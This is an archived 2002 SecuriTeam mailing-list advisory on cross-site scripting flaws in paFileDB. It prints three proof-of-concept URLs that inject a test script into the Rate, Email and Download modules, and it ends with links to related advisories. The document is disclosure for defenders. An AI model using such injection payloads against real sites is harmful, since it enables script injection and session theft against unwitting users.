[UNIX] XSS Vulnerabilites in paFileDB

From: support@securiteam.com
Date: 10/21/02

Previous message: support@securiteam.com: "[NT] MondoSearch Show Source of Arbitrary Files"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

From: support@securiteam.com
To: list@securiteam.com
Date: 21 Oct 2002 20:06:47 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

XSS Vulnerabilites in paFileDB
------------------------------------------------------------------------

SUMMARY

<http://www.phparena.net/pafiledb/> paFileDB is designed to allow
webmasters have a database of files for download on their site. A cross
site scripting vulnerability has been found in the product allowing remote
attackers to cause the product to display 3rd party HTML and JavaScript.

DETAILS

ersatz discovered that there are three other XSS vulnerabilities within
the software that can be performed by editing the URL of three different
sections.

Vulnerable modules:
* Rate File
* Email to Friend
* Download

Unaffected module:
* Stats

Exploit:
http://vuln/downloads/pafiledb.php?action=rate&id=4?"<scr!pt>alert('Testing')</script>"
http://vuln/downloads/pafiledb.php?action=email&id=4?"<scr!pt>alert('Testing')</script>"
http://vuln/downloads/pafiledb.php?action=download&id=4?"<scr!pt>alert('Testing')</script>"

ADDITIONAL INFORMATION

The information has been provided by <mailto:ersatz@unixhideout.com>
ersatz.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Previous message: support@securiteam.com: "[NT] MondoSearch Show Source of Arbitrary Files"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Relevant Pages

[EXPL] Apache Multiple Space Header DoS (Multi-Threaded Exploit)
... The exploit code below is another version of the Apache 2.0.52 DoS ... vulnerability
published previously here: ... The information in this bulletin is provided "AS IS"
without warranty of any kind. ... In no event shall we be liable for any damages whatsoever
including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
(Securiteam)
[NT] JBoot Password Bypassing Vulnerability
... housewarming rates on automated network vulnerability ... Place any Windows
Startup Floppy ... The information in this bulletin is provided "AS IS" without warranty
of any kind. ... In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special damages. ... (Securiteam)
[EXPL] Suid Application Execution May Give Local Root (Exploit Code)
... It is possible for a local user under the FreeBSD operating system to ... For
more information about the vulnerability please see: ... The information in this bulletin
is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages
whatsoever including direct, indirect, incidental, consequential, loss of business profits or special
damages. ... (Securiteam)
[NT] Texis Sensitive Information Leak
... housewarming rates on automated network vulnerability ... The Texis program
executes files written in Texis Web Script (a.k.a. ... The information in this bulletin
is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages
whatsoever including direct, indirect, incidental, consequential, loss of business profits or special
damages. ... (Securiteam)
[UNIX] Album.pl Vulnerable to Remote Command Execution
... housewarming rates on automated network vulnerability ... Vendor Response:
... The information in this bulletin is provided "AS IS" without warranty of any kind.
... In no event shall we be liable for any damages whatsoever including direct, indirect,
incidental, consequential, loss of business profits or special damages. ... (Securiteam)